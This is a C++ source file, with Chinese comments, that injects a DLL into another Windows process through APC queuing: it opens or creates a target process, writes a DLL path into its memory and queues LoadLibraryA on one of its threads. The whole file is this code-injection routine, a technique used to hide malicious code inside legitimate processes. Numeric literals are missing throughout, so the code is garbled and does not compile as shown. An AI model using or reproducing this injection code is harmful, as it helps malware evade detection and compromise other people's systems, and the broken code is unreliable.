APCInject

 #include <iostream>
 #include <Windows.h>
 #include <TlHelp32.h>

 using namespace std;

 /*
     APC注入条件：
         目标线程处于可唤醒状态
         如使用以下API时就处于可唤醒状态
         SleepEx, SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx,MsgWaitForMultipleObjectsEx
     参数dwPid默认为0，表示自动创建目标进程并立刻生效注入，否则，注入现有目标，等待目标唤醒时执行APC回调
 */
 BOOL APCInject(char *dllUrl,DWORD dwPid=,char *exeUrl=NULL);

 int main(void)
 {

     cout << APCInject("c:\\desktop\\test.dll",) << endl;
     return ;
 }

 BOOL APCInject(char *dllUrl,DWORD dwPid,char *exeUrl)
 {
     HANDLE hSnap=NULL,hPro=NULL,hThr=NULL;
     BOOL bOk = FALSE;
     LPVOID hVir = NULL;
     THREADENTRY32 te = {};

     if (!dwPid)
     {
         STARTUPINFO wi = {};
         PROCESS_INFORMATION pi = {};

         wi.cb = sizeof(wi);
         CreateProcessA("c:\\desktop\\123.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&wi,&pi);
         hPro = pi.hProcess;
         hThr = pi.hThread;
     } else {
         te.dwSize = sizeof(te);
         hPro = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
         if (!hPro)
             return FALSE;
         hSnap = CreateToolhelp32Snapshot(,dwPid);
         bOk = Thread32First(hSnap,&te);
         while (bOk)
         {
             if (te.th32OwnerProcessID == dwPid)
             {
                 hThr = OpenThread(THREAD_ALL_ACCESS,FALSE,te.th32ThreadID);
                 break;
             }

             bOk = Thread32Next(hSnap,&te);
         }
         CloseHandle(hSnap);
     }

     if (!hThr)
         return FALSE;
     hVir = VirtualAllocEx(hPro,NULL,strlen(dllUrl)+,MEM_COMMIT,PAGE_READWRITE);
     if (!hVir)
         return FALSE;
     if (!WriteProcessMemory(hPro,hVir,dllUrl,strlen(dllUrl)+,NULL))
         return FALSE;
     CloseHandle(hPro);
     if (QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"),hThr,(DWORD)hVir))
     {
         if (!dwPid)
         {
             ResumeThread(hThr);
             CloseHandle(hThr);
         }
         return TRUE;
     }
     CloseHandle(hThr);
     return FALSE;
 }